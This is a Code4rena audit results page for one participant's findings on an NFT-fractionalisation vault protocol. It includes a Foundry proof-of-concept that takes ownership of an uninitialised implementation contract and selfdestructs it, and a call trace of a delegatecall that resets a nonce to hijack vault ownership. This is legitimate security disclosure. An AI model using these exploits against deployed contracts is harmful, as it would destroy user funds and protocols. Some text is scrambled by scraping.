Platform: Code4rena
Start Date: 07/07/2022
Pot Size: $75,000 USDC
Total HM: 32
Participants: 141
Period: 7 days
Judge: HardlyDifficult
Total Solo HM: 4
Id: 144
League: ETH
Rank: 36/141
Findings: 3
Award: $334.91
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xA5DF
Also found by: 0x, 0xsanson, 242, Critical, sorrynotsorry, unforgiven, zzzitron
267.7106 USDC - $267.71
Vault.sol
: implementation contract, (deployed by VaultFactory
) is left with unprotected unitialised init
call that enables anyone to destroy the contract that disables all functionality.(this is an improved version of my initial report)
If i understand this correctly
1.A user makes an entry call to create vault by calling BaseVault: deployVault (this can also be done directly through factory ? check LOW submits)
2. A new vault VaultRegistry create begins the deployment and registers a FERC1155 token along the id for vault collection tracking purposes;
3 VaultFactory, deploys as a minimal proxy clone setup, then init
with transfer in proxy state.
In other words a minimal proxy is constructed by Create2ClonesWithImmutableArgs
that delegates all calls to implementation in a proxy context
The critical vulnerability is that after protocol deployment, implementation contract allows anyone to gain owner access because init
wasn't called on implementation side. This is the only action occurs for implementation.
There are no measures applied to prevent implementation contract from allowing init
call, which makes it vulnerable to be selfdestructed, due to delegatecall
exposure.
A POC of how unprotected init
call enables to selfdestruct the impl contract:
function testImplementationSelfdestruct() public { // what's happens if somebody malicious ends up getting the implementation itself to make a call grating owner access ? address impl = VaultFactory(registry.factory()).implementation(); vm.prank(address(0x242)); Vault(payable(impl)).init(); assertEq(Vault(payable(impl)).owner(), address(0x242)); // owner gained ! // attacker gains delegatecall execution that allows to selfdestruct by installing a malicious contract as target to be executed: Selfdestruct destruct = new Selfdestruct(); address[] memory plugins = new address[](1); plugins[0] = address(destruct); bytes4[] memory selectors = new bytes4[](1); selectors[0] = bytes4(destruct.kill.selector); // 0x41c0e1b5 vm.prank(address(0x242)); Vault(payable(impl)).install(selectors, plugins); // malicious contract installed // execute selfdestruction through fallback, that applies another possible issue. vm.prank(address(0x242)); payable(impl).call(abi.encode(bytes4(destruct.kill.selector))); }
A destroyed implementation contract will result in breaking all proxy vaults pointing to the implementation, a new deploy vault will not be possible. and All exposed assets using the vault's functionality will be unrecoverable. A new instance of protocol setup will require to be re-deployed.
this is achievable with a low-level call to fallback which makes attacker's contract to execute the destroyment,
To mitigate, minimal-proxy factory design, a contract must be pre-initialised or protect from gaining owner access through direct call executions.
A contract using delegatecall
must not expose it for implementation. Some improvements for proper initialisation would also help.
#0 - ecmendenhall
2022-07-15T03:14:44Z
🌟 Selected for report: byterocket
Also found by: 0x1f8b, 242, ACai, BradMoon, Chom, Lambda, PwnedNoMore, Twpony, __141345__, ayeslick, berndartmueller, cccz, giovannidisiena, infosec_us_team, minhtrng, nine9, oyc_109, reassor, slywaters, sseefried, tofunmi, unforgiven
4.9607 USDC - $4.96
_execute
a check against owner state changes is not sufficient to prevent a malicious execution from hijacking the owner. accessGiven fulfilled permission conditions, a delegatecall execution may modify the state of the owner, and is checked against it. However this can be bypassed to hijack the owner target call messes other stored data.
One way is setting the storage of nonce
to 0 that re-enables init
to be called again:
delegatecall
state, a malicious target contract modifies storage of nonce
to 0;owner
, if (owner_ != owner) revert OwnerChanged(owner_, owner)
will not revert;init()
and becomes the owner of the impacted proxy vault.Example call trace of module modifying state (nonce = 0
), allowing init
to re-initialize and hijack the owner:
[247955] VaultTest::testExecuteMaliciousOwnerChange() ├─ [46035] VaultProxy::init() │ ├─ emit TransferOwnership(_oldOwner: 0x0000000000000000000000000000000000000000, _newOwner: VaultTest: [0xb4c79dab8f259c7aee6e5b2aa729821864227e84]) │ └─ ← () ├─ [124171] → new TargetMalicious1@"0xd5d5…b8b6" │ └─ ← 620 bytes of code ├─ [22710] VaultProxy::setMerkleRoot(0xd92ef952067bf35efdef4e8fd3e2b15fe104e2783c0a89c28cd20fbe378537c6) │ └─ ← () ├─ [4016] VaultProxy::execute(TargetMalicious1: [0xd5d575e71245442009ee208e8dcebfbcf958b8b6], 0x98e16281000000000ww │ ├─ [473] TargetMalicious1::changeNonceTo0(VaultProxy: [0xe9e697933260a720d42146268b2aaafa4211de1c]) [delegatecall] │ │ └─ ← () │ └─ ← true, 0x ├─ [0] VM::prank(0x0000000000000000000000000000000000000242) │ └─ ← () ├─ [22135] VaultProxy::init() │ ├─ emit TransferOwnership(_oldOwner: 0x0000000000000000000000000000000000000000, _newOwner: 0x0000000000000000000000000000000000000242) │ └─ ← () └─ ← ()
In addition, any arbitrary changes can be done to methods
/merkleRoot
which imposes vulnerability further, including a delegated selfdestruct of proxy contract state to render proxy instance unusable.
(This may not be an issue if all available target calls can be trusted, and no permissioned vault transaction options are available for vulnerable execution )
If vault delegatecall executions are not allowed to modify the state, a precaution must be taken when exposing delegatecall
functionality.
#0 - mehtaculous
2022-07-19T15:36:04Z
Duplicate of #535
#1 - HardlyDifficult
2022-07-27T00:01:48Z
Duping to #487
🌟 Selected for report: xiaoming90
Also found by: 0x1f8b, 0x29A, 0x52, 0xA5DF, 0xDjango, 0xNazgul, 0xNineDec, 0xf15ers, 0xsanson, 0xsolstars, 242, 8olidity, Amithuddar, Aymen0909, Bnke0x0, BowTiedWardens, David_, Deivitto, ElKu, Funen, Hawkeye, IllIllI, JC, Kaiziron, Keen_Sheen, Kthere, Kulk0, Kumpa, Lambda, MEP, ReyAdmirado, Rohan16, Ruhum, Sm4rty, TomJ, Tomio, Treasure-Seeker, TrungOre, Tutturu, Viksaa39, Waze, _Adam, __141345__, ak1, apostle0x01, asutorufos, async, ayeslick, aysha, bbrho, benbaessler, berndartmueller, c3phas, cccz, chatch, cloudjunky, codexploder, cryptphi, delfin454000, dipp, durianSausage, dy, exd0tpy, fatherOfBlocks, hake, hansfriese, horsefacts, hubble, joestakey, jonatascm, kebabsec, kenzo, kyteg, mektigboy, neumo, oyc_109, pashov, pedr02b2, peritoflores, rajatbeladiya, rbserver, robee, rokinot, s3cunda, sach1r0, sahar, sashik_eth, scaraven, shenwilly, simon135, sorrynotsorry, sseefried, svskaushik, unforgiven, z3s, zzzitron
62.2382 USDC - $62.24
Notably this also allows to create a contract with locked access: deployFor createFor
Results in: emit TransferOwnership(_oldOwner: VaultFactory: [0x037fc82298142374d974839236d2e2df6b5bdd8f], _newOwner: 0x0000000000000000000000000000000000000000)
fallback
allows to execute any installed method to be executableAny methods that gets installed as a plugin can be executed without hash permission as the call directs to the internal function. This may become dangerous if exposed method was meant to be callable by owner/permissioned module.
deploy
/deployFor
is callable directlya direct call to VaultFactory does not make a register VaultRegistry
This may be intended to be deployable directly, but a new deploy will be occured by any msg.sender
caller in that case.
createInCollection
allows passing any token's address, which can be a fake FERC1155 or invalidAs the function expects token to pass a FERC1155
, it allows setuping a vault with any token as registry.
An arbitrary token may allow to more attack control for that affected vault.
This may be intended, but it's preferable to not allow user to specify address of a token that is controllable by attacker and can be exploited in Buyout
and Migration
createCollectionFor
can setup a token controller with zero addressa controller will not be able to fulfill onlyController
checks in a token if controller address was set 0.
deployVault
can be deployed with 0 fractionSupply minted